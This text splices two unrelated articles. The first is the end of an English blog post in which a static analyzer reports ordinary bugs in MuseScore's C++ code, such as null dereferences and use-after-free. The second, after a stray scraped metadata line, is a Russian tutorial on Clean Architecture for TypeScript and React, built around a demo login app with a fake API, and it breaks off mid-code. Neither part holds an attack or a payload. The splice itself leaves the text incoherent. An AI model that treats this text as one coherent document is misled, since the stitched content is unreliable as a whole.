Fret Diagram (or FretBoard) is also used to record melodies – for instance, by guitarists. However, they are a bit out of luck. The error here is that the *fd* pointer is dereferenced before its validity is checked. The name of the function suggests that it happens when the addition of an element gets canceled. That is, the rollback of some changes in the notes can accidentally break the program. Thus, you'll probably lose the notes.
[V595](https://www.viva64.com/en/w/v595/) The 'startSegment' pointer was utilized before it was verified against nullptr. Check lines: 129, 131. notationselectionrange.cpp 129
```
Ms::Segment* NotationSelectionRange::rangeStartSegment() const
{
Ms::Segment* startSegment = score()->selection().startSegment();
startSegment->measure()->firstEnabled(); // <=
if (!startSegment) { // <=
return nullptr;
}
if (!startSegment->enabled()) {
startSegment = startSegment->next1MMenabled();
}
....
}
```
Unlike the previous code snippet, it seems to be failed refactoring. Most likely, the line dereferencing the *startSegment* pointer was added later. Moreover, it was displaced. It stands before the pointer validation.
These were the most obvious warnings from this diagnostic. They were several lines apart from each other. Here's a list of some other places that are worth viewing:
* V595 The 'note' pointer was utilized before it was verified against nullptr. Check lines: 5932, 5941. importmxmlpass2.cpp 5932
* V595 The 'ed' pointer was utilized before it was verified against nullptr. Check lines: 599, 608. textedit.cpp 599
* V595 The 's' pointer was utilized before it was verified against nullptr. Check lines: 139, 143. elements.cpp 139
[V774](https://www.viva64.com/en/w/v774/) The 'slur' pointer was used after the memory was released. importgtp-gp6.cpp 2592
```
void GuitarPro6::readGpif(QByteArray* data)
{
....
if (c) {
slur->setTick2(c->tick());
score->addElement(slur);
legatos[slur->track()] = 0;
} else {
delete slur;
legatos[slur->track()] = 0;
}
....
}
```
After the memory has been released, the data may still be in the same place for some time. So, no error will occur. However, you can't rely on it. Besides, MuseScore is built for various platforms. This code may behave differently just after changing the compiler. In such a situation it's better to swap the lines and correct a potential error. Also, it's unclear why the memory is freed only in one branch of the code.
### Miscellaneous warnings
[V637](https://www.viva64.com/en/w/v637/) Two opposite conditions were encountered. The second condition is always false. Check lines: 4439, 4440. exportxml.cpp 4439
```
virtual Fraction tick() const override { return _tick; }
void ExportMusicXml::hairpin(....)
{
....
if (hp->tick() != tick) {
writeHairpinText(_xml, hp, hp->tick() == tick);
}
....
}
```
The *writeHairpinText* function call is likely to be simplified by passing the *false* value as the 3rd argument.
The *tick* method is implemented like this:
```
virtual Fraction tick() const override { return _tick; }
```
It means, that there are no modifications of the class inside. So, the code can be slightly reduced without changing the program logic.
[V763](https://www.viva64.com/en/w/v763/) Parameter 'y' is always rewritten in function body before being used. tremolo.cpp 287
```
void Tremolo::layoutOneNoteTremolo(qreal x, qreal y, qreal spatium)
{
bool up = chord()->up();
int line = up ? chord()->upLine() : chord()->downLine();
....
qreal yLine = line + t;
....
y = yLine * .5 * spatium;
setPos(x, y);
}
```
The prototype of the function is a certain agreement between its user and the function's author. The code always looks very suspicious if the function arguments are overwritten in the code without any conditions. As it happens here with the *y* variable's value.
[V506](https://www.viva64.com/en/w/v506/) Pointer to local variable 'handle' is stored outside the scope of this variable. Such a pointer will become invalid. ove.cpp 4391
```
class BasicParse
{
....
protected:
StreamHandle* m_handle;
....
}
bool OvscParse::parse()
{
Block* dataBlock = m_chunk->getDataBlock();
unsigned int blockSize = m_chunk->getSizeBlock()->toSize();
StreamHandle handle(dataBlock->data(), blockSize);
Block placeHolder;
m_handle = &handle
....
}
```
The analyzer found several dangerous places. They might spoil all the fun when the pointer to a local object, created in one of the functions, is stored in a class field. Such a pointer can indicate garbage data in memory later.
The analyzer found all such places in one file:
* V506 Pointer to local variable 'handle' is stored outside the scope of this variable. Such a pointer will become invalid. ove.cpp 4483
* V506 Pointer to local variable 'handle' is stored outside the scope of this variable. Such a pointer will become invalid. ove.cpp 4930
* V506 Pointer to local variable 'handle' is stored outside the scope of this variable. Such a pointer will become invalid. ove.cpp 9291
* V506 Pointer to local variable 'handle' is stored outside the scope of this variable. Such a pointer will become invalid. ove.cpp 9507
[V519](https://www.viva64.com/en/w/v519/) The 'savedExtension.status' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 349, 352. extensionsservice.cpp 352
```
void ExtensionsService::th_refreshExtensions()
{
....
if (savedExtension.version < extension.version) {
savedExtension.status = ExtensionStatus::NeedUpdate;
}
savedExtension.status = ExtensionStatus::Installed;
....
}
```
It looks like some extension will never get an update. This is because of the error: the extension status is always overwritten with the *Installed* value.
Here's the entire list of similar places with variable values overwritten:
* V519 The 'lyrNote' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 962, 972. importgtp-gp6.cpp 972
* V519 The '\_crossMeasure' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 2545, 2550. chord.cpp 2550
* V519 The 'bt' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 417, 418. chordrest.cpp 418
[V612](https://www.viva64.com/en/w/v612/) An unconditional 'return' within a loop. noteinputbarmodel.cpp 371
```
int NoteInputBarModel::resolveCurrentVoiceIndex() const
{
....
for (const Element* element: selection()->elements()) {
return element->voice();
}
....
}
```
It is impossible to pass by a loop of one iteration without asking: "Why?".
[V1009](https://www.viva64.com/en/w/v1009/) Check the array initialization. Only the first element is initialized explicitly. The rest elements are initialized with zeros. instrumentstypes.h 135
```
static constexpr int MAX_STAVES = 4;
enum class BracketType : signed char {
NORMAL, BRACE, SQUARE, LINE, NO_BRACKET = -1
};
struct Instrument
{
....
BracketType bracket[MAX_STAVES] = { BracketType::NO_BRACKET };
....
}
```
The author of the code thought that the *bracket* array is fully initialized with *NO\_BRACKET* values. The numeric representation of this value is -1. According to the rules of such an initializer, only the first element is initialized with the specified value. All the others get the 0 value. It must be *NORMAL*, not *NO\_BRACKET*. Most likely, such default values were not supposed to be ever read.
### Open Source quality at large
In general, open source projects lack attention. Otherwise, we wouldn't have done so many [error reviews](https://www.viva64.com/en/inspections/) of different projects. Another problem, that outright spoils the quality of the code, is the migration of errors from project to project. The most famous case in our living memory is the code of the [Amazon Lumberyard](https://www.viva64.com/en/b/0574/) game engine. Here, the developers took the CryEngine code with errors as a basis. Moreover, the errors were fixed in the latest version of the original engine.
MuseScore developers faced a similar problem. They used the [intervaltree](https://github.com/ekg/intervaltree) library in the project. There was the following mistake:
[V630](https://www.viva64.com/en/w/v630/) The 'malloc' function is used to allocate memory for an array of objects which are classes containing constructors and destructors. IntervalTree.h 70
```
IntervalTree(const intervalTree& other) {
center = other.center;
intervals = other.intervals;
if (other.left) {
left = (intervalTree*) malloc(sizeof(intervalTree)); // <=
*left = *other.left;
} else {
left = NULL;
}
if (other.right) {
right = new intervalTree();
*right = *other.right;
} else {
right = NULL;
}
}
IntervalTree& operator=(const intervalTree& other) {
center = other.center;
intervals = other.intervals;
if (other.left) {
left = new intervalTree(); // <=
*left = *other.left;
} else {
left = NULL;
}
if (other.right) {
right = new intervalTree(); // <=
*right = *other.right;
} else {
right = NULL;
}
return *this;
}
```
The developers resorted to using the *malloc* function in one place. They did it to allocate memory for the class. Although, they used the *new* operator in all other cases. Certainly, the right option is to use *new*, the memory allocation operator (C++). It's worth using since the *IntervalTree* class contains a constructor and a destructor.
Let's come back to the quality of open source projects in general. The code was rewritten 2 years ago. The error doesn't exist anymore. Now it dwells only in numerous forks and other projects.
Do you still remember the example from the article?
[V523](https://www.viva64.com/en/w/v523/) The 'then' statement is equivalent to the 'else' statement. bsp.cpp 194
```
QString BspTree::debug(int index) const
{
....
if (node->type == Node::Type::HORIZONTAL) {
tmp += debug(firstChildIndex(index));
tmp += debug(firstChildIndex(index) + 1);
} else {
tmp += debug(firstChildIndex(index));
tmp += debug(firstChildIndex(index) + 1);
}
....
}
```
Actually, it was copied from the [QtBase](https://github.com/qt/qtbase) code. Take a look at its full form:
```
QString QGraphicsSceneBspTree::debug(int index) const
{
const Node *node = &nodes.at(index);
QString tmp;
if (node->type == Node::Leaf) {
QRectF rect = rectForIndex(index);
if (!leaves[node->leafIndex].isEmpty()) {
tmp += QString::fromLatin1("[%1, %2, %3, %4] contains %5 items\n")
.arg(rect.left()).arg(rect.top())
.arg(rect.width()).arg(rect.height())
.arg(leaves[node->leafIndex].size());
}
} else {
if (node->type == Node::Horizontal) {
tmp += debug(firstChildIndex(index));
tmp += debug(firstChildIndex(index) + 1);
} else {
tmp += debug(firstChildIndex(index));
tmp += debug(firstChildIndex(index) + 1);
}
}
return tmp;
}
```
When this article was published, the code contained the error both in MuseScore and QtBase.
### Conclusion
Nowadays, music software is quite a mass product. The modern media industry uses computer algorithms to edit music and audio recordings. However, for some reason, the industry has not yet created a culture of code quality control. [PVS-Studio](https://www.viva64.com/en/pvs-studio/), our static analyzer, issued lots of warnings during open source programs checks. In this article, we described the errors found in programs designed to edit music. This indirectly confirms the lack of code quality control in the media industry. Once we reviewed the code of Steinberg SDK, the commercial library. Steinberg Media Technologies GmbH is a German music company that developed the library. Here, we also [found](https://www.viva64.com/en/b/0541/) a significant number of code defects.
There are many game studios, banks, and IT giants among our [customers](https://www.viva64.com/en/customers/). However, we haven't worked with top music industry companies so far. I hope, that the article will inspire the largest music companies to just use the PVS-Studio [trial](https://www.viva64.com/en/pvs-studio-download/) on their projects. | https://habr.com/ru/post/545624/ | null | en | null |
# The Clean Architecture на TypeScript и React. Часть 1: Основы
Добрый день, уважаемые читатели. В этой статье мы поговорим об архитектуре программного обеспечения в веб-разработке. Довольно долгое время я и мои коллеги используем вариацию [The Clean Architecture](https://blog.cleancoder.com/uncle-bob/2012/08/13/the-clean-architecture.html) для построения архитектуры в своих проектах Frontend проектах. Изначально я взял ее на вооружение с переходом на TypeScript, так как не нашел других подходящих общепринятых архитектурных подходов в мире разработки на React (а пришел я из Android-разработки, где давным-давно, еще до Kotlin, наделала шумихи [статья от Fernando Cejas](https://fernandocejas.com/2014/09/03/architecting-android-the-clean-way/), на которую я до сих пор иногда ссылаюсь).
В данной статье я хочу рассказать вам о [нашем](https://woodle-auto.com/) опыте применения The Clean Architecture в React-приложениях с использованием TypeScript. Зачем я это рассказываю? — Иногда мне приходится разъяснять и обосновывать ее использование разработчикам, которые еще не знакомы с таким подходом. Поэтому здесь я сделаю детальный разбор с наглядными пояснениями на которое я смогу ссылаться в будущем.
**Содержание**
1. Введение
2. Теоретическая часть
* Для чего вообще нужна архитектура?
* Оригинальное определение The Clean Architecture
* The Clean Architecture для Frontend
3. Практическая часть
* Описание веб-приложения авторизации
* Структура исходного кода
* UML диаграмма проекта
* Разбор кода
4. Заключение
5. Ресурсы и источники
**1. Введение**
**Архитектура — это, прежде всего, глобальная вещь.** Ее понимание необходимо не в разрезе конкретного языка программирования. Вам необходимо понимание ключевых идей в целом, чтобы значит за счет чего достигаются преимущества от использования той или иной архитектуры. Принцип тот же, что и с паттернами проектирования или SOLID — они придуманы не для конкретного языка, а для целых методологий программирования (как, например, ООП).
Разобраться в архитектуре проще всего, когда видишь всю картину целиком. Поэтому в данной статье я расскажу не только о том, как должно быть “в теории” — а и приведу конкретный пример проекта. Сначала разберемся с теоретической частью применения The Clean Architecture во frontend’e, а потом рассмотрим веб-приложение с UML диаграммой и описанием каждого класса.
Важное уточнение: The Clean Architecture не устанавливает строгих правил организации приложений, она дает только рекомендации. У каждой платформы и языка будут свои нюансы. В данной статье преподносится подход, который я использовал со своими коллегами и использую сейчас — он не является панацеей.
**Также хотелось бы отметить, что использование подобных архитектурных подходов может быть избыточно для маленьких проектов.** Основная задача любой архитектуры — сделать код понятным, поддерживаемым и тестируемым. Но если ваше приложение быстрее написать на JS без архитектур, тестирования и прочего — это вполне нормально. **Не занимайтесь overengineering'ом там, где это не нужно.** Помните, что основную силу архитектуры\тестирование приобретают в больших проектах с несколькими разработчиками, где нужно понимать и изменять чужой код.
**UPD\_0**
**UPD\_0:** несомненно существует много подходов и данная архитектура может быть улучшена и доработана. Суть этой статьи и основная причина, почему мы ее используем — **данная архитектура работает, вытягивая большие проекты, и она понятная другим разработчикам.** Поэтому не стесняйтесь добавлять в нее новые правила и что-то изменять, но главное сохраняйте работоспособность и понятность. Не гонитесь за архитектурой ради архитектуры, ведь ваша задача только выстроить понятные правила, которые будет просто поддерживать в будущем.
При излишнем улучшении того, что работает, я вспоминаю следующую цитату:
> Преждевременная оптимизация — корень всех (или большинства) проблем в программировании.
>
>
>
> — Дональд Кнут, «Computer Programming as an Art» (1974)
>
>
Как говорят, «лучшее — врал хорошего». Поэтому не пытайтесь создать что-то идеальное, когда Вам просто нужно решить проблему (в нашем случае, решить проблему сопровождения за счет архитектуры).
**2. Теоретическая часть**
**2.1. Для чего вообще нужна архитектура?**
**Ответ: архитектура необходима для экономии времени в процессе разработки, поддержания тестируемости и расширяемости системы на протяжении долгого периода разработки.**
Более детально о том, что бывает, если не закладывать архитектуру для больших приложений — Вы можете прочитать, например, в книге The Clean Architecture Боба Мартина. Для краткого объяснения, я приведу следующий график из этой книги:
На данном графике мы видим, что с каждой новой версией (допустим, они выпускаются с равными промежутками времени) в систему добавляется все меньшее количество строк, а также рост стоимости одной строки. Это происходит ввиду усложнения системы, а внесение изменений начинает требовать неоправданно большого количества усилий.
В книге The Clean Architecture этот график приводиться в качестве примера плохой архитектуры. Такой подход рано или поздно приведет к тому, что стоимость расширения системы будет стоить дороже, чем выгода от самой системы.
**Еще раз о соотношении времени разработки**
Как раз сегодня читал статью на Хабре и встретил следующую цитату (с которой полностью согласен):
> «На первые 90 процентов кода уходит 10 процентов времени, потраченного на разработку. На оставшиеся 10 процентов кода уходит оставшиеся 90 процентов»
>
>
>
> — Том Каргилл, Bell Labs
Вывод: систему дороже изменять, поэтому нужно заранее думать о том, как вы будете изменять ее в будущем.
А теперь мой “идеальный” вариант, какой мы (разработчики, PM'ы, заказчики) хотели бы видеть в наших проектах:
На графике наглядно показано, что скорость роста количества строк не меняется в зависимости от версии. Стоимость строки кода (в зависимости от версии) увеличивается, но незначительно с учетом того, что речь идет о миллионах строк. К сожалению, такой вариант маловероятен, если мы говорим о большой Enterprise системе, так как продукт расширяется, сложность системы увеличивается, разработчики меняются, поэтому затраты на разработку неизбежно будут расти.
Однако я могу Вас и обрадовать — мы говорим о Frontend приложениях! Давайте смотреть правде в глаза — как правило, подобные приложения не вырастают до миллионов строк, иначе браузеры бы банально долго загружали такие приложения. В крайнем случае, они разбиваются на разные продукты, а основная логика лежит на backend стороне. Поэтому мы в какой-то мере можем стремиться к приведенной выше тенденции роста стоимости кода (с разной успешностью, в зависимости от размера приложения). Если наш проект даже на 50% дешевле сопровождается, чем мог бы без хорошей архитектуры — это уже экономия времени разработчиков и средств заказчика.
Изначально выстроив хорошую и понятную архитектуру, в результате получаем следующие **преимущества**:
* **дешевле сопровождения кода** (следовательно, меньше временных и финансовых затрат);
* **упрощение тестируемости кода** (следовательно, потребуется меньше тестировщиков и ниже потери из-за пропущенных “багов на проде”);
* **ускорение внедрения новых разработчиков в проект**.
Думаю, на вопрос “а зачем это нужно?!”, я ответил. Далее переходим к технической части вопроса.
**2.2. Оригинальное определение**
Я не буду углубляться в детальное описание The Clean Architecture, так как эта тема раскрыта во многих статья, а только коротко сформулирую суть вопроса.
В оригинальной статье Боба Мартина 2012-го года показана следующая диаграмма:
Ключевая идея данной диаграммы заключается в том, что приложение делиться на слои (слоев может быть любое количество). **Внутренние слои не знают о внешних, зависимости обращены в центр**. Чем дальше слой от центра, тем больше он знает о “небизесовых” деталях приложения (например, что за фреймворк используется и сколько кнопок на экране).
* **Entities.** В центре у нас находятся Entities (сущности). В них заключена бизнес-логика приложения и здесь нет зависимостей от платформы. Entities описывают только бизнес-логику приложения. Например, возьмем класс Cart (корзина) — мы можем добавить товар в корзину, удалить его и т.д. Ничего о таких вещах, как React, базы данных, кнопках — данный класс не знает.
Говоря о независимости от платформы имеется ввиду, что здесь не применяются специфические библиотеки как React\Angular\Express\Nest.js\DI и т.д. Если, например, возникнет необходимость, мы сможем взять цельную сущность из Web-приложения на React’e — и вставить в код для NodeJS без изменений.
* **Use cases.** Во втором слое диаграммы расположены Use Cases (они же — сценарии использования, они же — Interactors). Сценарии использования описывают, как взаимодействовать с сущностями в контексте нашего приложение. Например, если сущность знает только о том, что в нее можно добавить заказ — сценарий использования знает, что из сущности можно взять этот заказ и отправить в репозиторий (см. далее).
* **Gateways, Presenters, etc.** В данном контексте (Gateways = Repositories, Presenters = View Models) — слои системы, которые отвечают за связь между бизнес-правилами приложения и платформенно зависимыми частями системы. Например, репозитории предоставляют интерфейсы, которые будут реализовывать классы для доступа к API или хранилищам, а View Model интерфейс будет служить для связи React-компонентов с вызовами бизнес-логики.
Уточнение: в нашем случае Use Cases и Repositories, как правило, будут находиться в ином порядке, так как большая часть работы frontend приложений заключается в получении и отправке данных через API.
* **External interfaces.** Платформенно зависимый слой. Здесь находятся прямые обращения к API, компоненты React'а и т.д. Именно этот слой труднее всего поддается тестированию и абстрагированию (кнопочка в React’e — есть кнопочка React’e ).
**2.3. Определение в контексте frontend’a**
А теперь перейдем к нашей frontend области. В контексте Frontend’a, диаграмму выше можно представить вот так:
* **Entities.** Бизнес сущности такие же, как и в оригинальном варианте архитектуры. Обратите внимание, что сущности умеют хранить состояние и часто используются для этой цели. Например, сущность “корзина” может хранить в себе заказы текущей сессии, чтобы предоставлять методы работы с ними (получение общей цены, суммарного количества товаров и т.д.).
* **Repository interfaces.** Интерфейсы для доступа к API, БД, хранилищам и т. д. Может показаться странным, что интерфейсы для доступа к данным находятся “выше” сценариев использования. Однако, как показывает практика, сценарии использования знают о репозиториях и активно используют их. А вот репозитории ничего не знают о сценариях использования, но знают о сущностях. Это пример инверсии зависимостей из SOLID’a (возможность определения интерфейса во внутреннем слое, сделав реализацию во внешнем). Использование интерфейсов добавляет абстракцию (например, никто не знает, делает ли репозиторий запросы к API или берет данные из кеша).
* **Use Cases**. Аналогично оригинальной диаграмме. Объекты, которые реализуют бизнес-логику в контексте нашего приложения (т. е. понимают, что делать с сущностями — отправлять, загружать, фильтровать, объединять).
* **View Models и View Interfaces.**
ViewModel — это замена Presenters из оригинальной диаграммы. В своих проектах я применяю архитектуру MVVP вместо MVP\MVC\MV\*. Если описывать кратко, разница с MVP лишь в одном: Presenter знает о View и вызывает ее методы, а ViewModel не знает о View, имея только один метод уведомления об изменениях. View просто “мониторит” состояние View Model. MVVP имеет однонаправленную зависимость (View → ViewModel), а MVP — двунаправленную (View ︎ Presenter). Меньше зависимостей — проще тестировать.
View Interfaces — в нашем случае, один базовый класс для всех View, через который View Model уведомляет конкретные реализации View об изменениях. Содержит метод по типу onViewModelChanged(): void. Еще один пример инверсии зависимостей.
* **5. External interfaces.** Аналогично оригинальной диаграмме, в этом слое находятся платформенно зависимые реализации. В случае приложения ниже — это компоненты React’a и реализация интерфейсов для доступа к API. Однако также здесь может быть любой другой фреймворк (AngularJS, React Native) и любое другое хранилище (IndexDB, local storage и т.д.). The Clean Architecutre позволяет изолировать применение конкретных фреймворков, библиотек и технологий, тем самым давая возможность в какой-то мере заменять их.
Если представить диаграмму выше в виде трехслойного приложения, она приобретает следующий вид:
Красные стрелки — поток течения данных (но не зависимостей, диаграмма зависимостей отображена на круговой диаграмме выше). Изображение в виде прямоугольной диаграммы позволяет лучше понять, как движется поток данных внутри приложения. Идею описания в виде такой диаграммы я увидел в [ЭТОЙ](https://habr.com/ru/company/mobileup/blog/335382/) статье.
Имейте ввиду, что в более сложных приложениях структура слоев может меняться. Например, распространенная практика, когда каждый из слоев выше, чем domain — может иметь свои мапперы для преобразования данных.
**3. Пример приложения**
**3.1. Описание веб-приложения авторизации**
Чтобы применение архитектуры было более наглядным и понятным, я создал веб-приложение, построенное ее основе. Исходный код приложения Вы можете посмотреть в [репозитории GitHub](https://github.com/RostislavDugin/clean-architecture-react-typescript). Приложение выглядит так:
Приложение представляет собой простое окно авторизации. Для усложнения самого приложения (чтобы архитектура была уместна), делаем следующие вводные:
1. Поля не должны быть пустыми (валидация).
2. Введенная почта должна иметь корректный формат (валидация).
3. Данные доступа должны пройти валидацию на сервере (заглушка API) и получить ключ валидации.
4. Для авторизации методу API нужно предоставить данные валидации и ключ валидации.
5. После авторизации ключ доступа должен быть сохранен внутри приложения (слой сущностей).
6. При выходе ключ авторизации должен стираться из памяти.
**3.2. Структура исходного кода**
В нашем примере структура папки src выглядит следующим образом:
* **data** — содержит классы для работы с данными. Эта директория является крайним кругом на круговой диаграмме, так как содержит классы для реализации интерфейсов репозиториев. Следовательно, эти классы знают об API и платформенно зависимых вещах (local storage, cookie и т.д.).
* **domain** — классы бизнес логики. Здесь находятся Entities, Use Cases и Repository Interfaces. В подкаталоге entities есть разделение на две директории: models и structures. Разница между этими директориями в том, что models — это сущности с логикой, а structures — простые структуры данных (по типу POJO в Java). Это разделение сделано для удобства, так как в models мы кладем классы, с которыми мы (разработчики) непосредственно и часто работаем, а в structures — объекты, которые возвращает сервер в виде JSON-объекта (json2ts, «привет») и мы их используем для передачи между слоями.
* **presentation** — содержит View Models, View Interfaces и View (фреймворковские компоненты), а также util — для различных валидаций, утилит и т.п.
Разумеется, структура может меняться от проекта к проекту. Например, в корне presentation в одном из моих проектов находятся классы для контроля состояния сайдбара и класс для навигации между страницами.
**3.3. URM диаграмма проекта**
Исходники для увеличения — [GitHub](https://github.com/RostislavDugin/clean-architecture-react-typescript/tree/master/information).
Разделение классов по слоям наглядно показано прямоугольниками. Обратите внимание, что зависимости направлены в сторону слоя Domain (в соответствии с диаграммой).
**3.4. Разбор кода**
**Entities layer**
В данном разделе мы пройдемся по всем классам с описанием их логики работы. Начнем с самого дальнего круга — Entities, так как на его основе базируются остальные классы.
*AuthListener.tsx*
```
// Используем для обновления слушателей
// в классе AuthHolder
export default interface AuthListener {
onAuthChanged(): void;
}
```
*AuthHolder.tsx*
```
import AuthListener from './AuthListener';
// Данный класс хранит состояние авторизации (п. 3.1.5). Для того, чтобы
// обновлять presentation слой, мы используем паттерн Observer
// со слушателями AuthListener
export default class AuthHolder {
private authListeners: AuthListener[];
private isAuthorized: boolean;
private authToken: string;
public constructor() {
this.isAuthorized = false;
this.authListeners = [];
this.authToken = '';
}
public onSignedIn(authToken: string): void {
this.isAuthorized = true;
this.authToken = authToken;
this.notifyListeners();
}
public onSignedOut(): void {
this.isAuthorized = false;
this.authToken = '';
this.notifyListeners();
}
public isUserAuthorized(): boolean {
return this.isAuthorized;
}
/**
* @throws {Error} if user is not authorized
*/
public getAuthToken(): string {
if (!this.isAuthorized) {
throw new Error('User is not authorized');
}
return this.authToken;
}
public addAuthListener(authListener: AuthListener): void {
this.authListeners.push(authListener);
}
public removeAuthListener(authListener: AuthListener): void {
this.authListeners.splice(this.authListeners.indexOf(authListener), 1);
}
private notifyListeners(): void {
this.authListeners.forEach((listener) => listener.onAuthChanged());
}
}
```
*AuthorizationResult.tsx*
```
// Простая структура данных для передачи между слоями
export default interface AuthorizationResult {
authorizationToken: string;
}
```
*ValidationResult.tsx*
```
// Еще одна структура данных для передачи между слоями
export default interface ValidationResult {
validationKey: string;
}
```
На этом слой сущностей заканчивается. Обратите внимание, данный слой занимается исключительно бизнес логикой (хранение состояния) и используется для передачи данных во всем остальном приложении.
Часто состояние не нужно хранить в классах бизнес-логики. Для этой цели хорошо подходит связка репозитория со сценарием использования (для преобразования данных).
**Repository interfaces**
*AuthRepository.tsx*
```
import ValidationResult from '../../entity/auth/stuctures/ValidationResult';
import AuthorizationResult from '../../entity/auth/stuctures/AuthorizationResult';
// Здесь мы объявляем интерфейс, который потом реализует класс для доступа к API
export default interface AuthRepository {
/**
* @throws {Error} if validation has not passed
*/
validateCredentials(email: string, password: string): Promise;
/\*\*
\* @throws {Error} if credentials have not passed
\*/
login(email: string, password: string, validationKey: string): Promise;
}
```
**Use Cases**
*LoginUseCase.tsx*
```
import AuthRepository from '../../repository/auth/AuthRepository';
import AuthHolder from '../../entity/auth/models/AuthHolder';
export default class LoginUseCase {
private authRepository: AuthRepository;
private authHolder: AuthHolder;
public constructor(authRepository: AuthRepository, authHolder: AuthHolder) {
this.authRepository = authRepository;
this.authHolder = authHolder;
}
/**
* @throws {Error} if credentials are not valid or have not passed
*/
public async loginUser(email: string, password: string): Promise {
const validationResult = await this.authRepository.validateCredentials(email, password);
const authResult = await this.authRepository.login(
email,
password,
validationResult.validationKey,
);
this.authHolder.onSignedIn(authResult.authorizationToken);
}
}
```
В данном случае Use Case имеет только один метод. Обычно сценарии использования имеют только один публичный метод, в котором реализована сложная логика для одного действия. В данном случае – необходимо сначала провести валидацию, а потом отправить данные валидации в API метод авторизации.
Однако также часто используется подход, когда несколько сценариев объединяются в один, если имеют общую логику.
Внимательно следите, чтобы сценарии использования не содержали логику, которая должна находится в сущностях. Слишком большое количество методов или хранение состояния в Use Case часто служит индикатором того, что код должен находиться в другом слое.
**Repository implemetation**
*AuthFakeApi.tsx*
```
import AuthRepository from '../../domain/repository/auth/AuthRepository';
import ValidationResult from '../../domain/entity/auth/stuctures/ValidationResult';
import AuthorizationResult from '../../domain/entity/auth/stuctures/AuthorizationResult';
// Класс, имитирующий доступ к API
export default class AuthFakeApi implements AuthRepository {
/**
* @throws {Error} if validation has not passed
*/
validateCredentials(email: string, password: string): Promise {
return new Promise((resolve, reject) => {
// Создаем правило, которое должен был бы поддерживать сервер
if (password.length < 5) {
reject(new Error('Password length should be more than 5 characters'));
return;
}
resolve({
validationKey: 'A34dZ7',
});
});
}
/\*\*
\* @throws {Error} if credentials have not passed
\*/
login(email: string, password: string, validationKey: string): Promise {
return new Promise((resolve, reject) => {
// Имитируем проверку ключа валидации
if (validationKey === 'A34dZ7') {
// Создаем пример подходящего аккаунта с логином user@email.com и паролем password
if (email === 'user@email.com' && password === 'password') {
resolve({
authorizationToken: 'Bearer ASKJdsfjdijosd93wiesf93isef',
});
}
} else {
reject(new Error('Validation key is not correct. Please try later'));
return;
}
reject(new Error('Email or password is not correct'));
});
}
}
```
В данном классе мы сделали имитацию доступа к API. Мы возвращаем Promise, который вернул бы настоящий fetch-запрос. Если мы захотим заменить реализацию на реальный API — просто изменим класс AuthFakeApi на AuthApi в файле App.tsx или инструменте внедрения зависимостей, если такой используется.
Обратите внимание, что мы аннотируем методы описанием ошибок, чтобы другие программисты понимали потребность обработки ошибок. К сожалению, TypeScript в данный момент не имеет инструкций по типу throws в Java, поэтому мы используем простую аннотацию.
**util (presentation слой)**
В данную директорию мы кладем классы, которые осуществляют логику “превентивной” валидации данных, а также другие классы для работы с UI слоем.
*FormValidator.tsx*
```
export default class FormValidator {
static isValidEmail(email: string): boolean {
const emailRegex = /^\S+@\S+\.\S+$/;
return emailRegex.test(email);
}
}
```
**View interfaces**
*BaseView.tsx*
Класс, которые позволяет View Model уведомлять View об изменениях. Реализуется всеми View компонентами.
```
export default interface BaseView {
onViewModelChanged(): void;
}
```
**View Models**
*BaseViewModel.tsx*
Класс, который предоставляет базовые методы для связи View Model и View. Реализуется всеми View Models.
```
import BaseView from '../view/BaseView';
export default interface BaseViewModel {
attachView(baseView: BaseView): void;
detachView(): void;
}
```
*AuthViewModel.tsx*
```
import BaseViewModel from '../BaseViewModel';
// Интерфейс ViewModel, который будет доступен View. Здесь
// объявлены все публичные поля, которые будет использовать View
export default interface AuthViewModel extends BaseViewModel {
emailQuery: string;
passwordQuery: string;
isSignInButtonVisible: boolean;
isSignOutButtonVisible: boolean;
isShowError: boolean;
errorMessage: string;
authStatus: string;
isAuthStatusPositive: boolean;
onEmailQueryChanged(loginQuery: string): void;
onPasswordQueryChanged(passwordQuery: string): void;
onClickSignIn(): void;
onClickSignOut(): void;
}
```
*AuthViewModelImpl.tsx*
```
import AuthViewModel from './AuthViewModel';
import BaseView from '../../view/BaseView';
import LoginUseCase from '../../../domain/interactors/auth/LoginUseCase';
import AuthHolder from '../../../domain/entity/auth/models/AuthHolder';
import AuthListener from '../../../domain/entity/auth/models/AuthListener';
import FormValidator from '../../util/FormValidator';
export default class AuthViewModelImpl implements AuthViewModel, AuthListener {
public emailQuery: string;
public passwordQuery: string;
public isSignInButtonVisible: boolean;
public isSignOutButtonVisible: boolean;
public isShowError: boolean;
public errorMessage: string;
public authStatus: string;
public isAuthStatusPositive: boolean;
private baseView?: BaseView;
private loginUseCase: LoginUseCase;
private authHolder: AuthHolder;
public constructor(loginUseCase: LoginUseCase, authHolder: AuthHolder) {
this.emailQuery = '';
this.passwordQuery = '';
this.isSignInButtonVisible = true;
this.isSignOutButtonVisible = false;
this.isShowError = false;
this.errorMessage = '';
this.authStatus = 'is not authorized';
this.isAuthStatusPositive = false;
this.loginUseCase = loginUseCase;
this.authHolder = authHolder;
// Делаем наш класс слушателем событий авторизации
this.authHolder.addAuthListener(this);
}
public attachView = (baseView: BaseView): void => {
this.baseView = baseView;
};
public detachView = (): void => {
this.baseView = undefined;
};
// Данный метод является методом интерфейса AuthListener
public onAuthChanged = (): void => {
// Изменяем данные модели, чтобы View
// отобразила изменения при входе и выходе
if (this.authHolder.isUserAuthorized()) {
this.isSignInButtonVisible = false;
this.isSignOutButtonVisible = true;
this.authStatus = 'authorized';
this.isAuthStatusPositive = true;
} else {
this.isSignInButtonVisible = true;
this.isSignOutButtonVisible = false;
this.authStatus = 'is not autorized';
this.isAuthStatusPositive = false;
}
this.notifyViewAboutChanges();
};
public onEmailQueryChanged = (loginQuery: string): void => {
this.emailQuery = loginQuery;
this.notifyViewAboutChanges();
};
public onPasswordQueryChanged = (passwordQuery: string): void => {
this.passwordQuery = passwordQuery;
this.notifyViewAboutChanges();
};
public onClickSignIn = async (): Promise => {
if (!this.validateLoginForm()) {
this.notifyViewAboutChanges();
return;
}
try {
await this.loginUseCase.loginUser(this.emailQuery, this.passwordQuery);
this.isShowError = false;
this.errorMessage = '';
} catch (e) {
this.errorMessage = e.message;
this.isShowError = true;
}
this.notifyViewAboutChanges();
};
public onClickSignOut = (): void => {
// Удаляем данные авторизации без посредника в виде сценария использования
this.authHolder.onSignedOut();
};
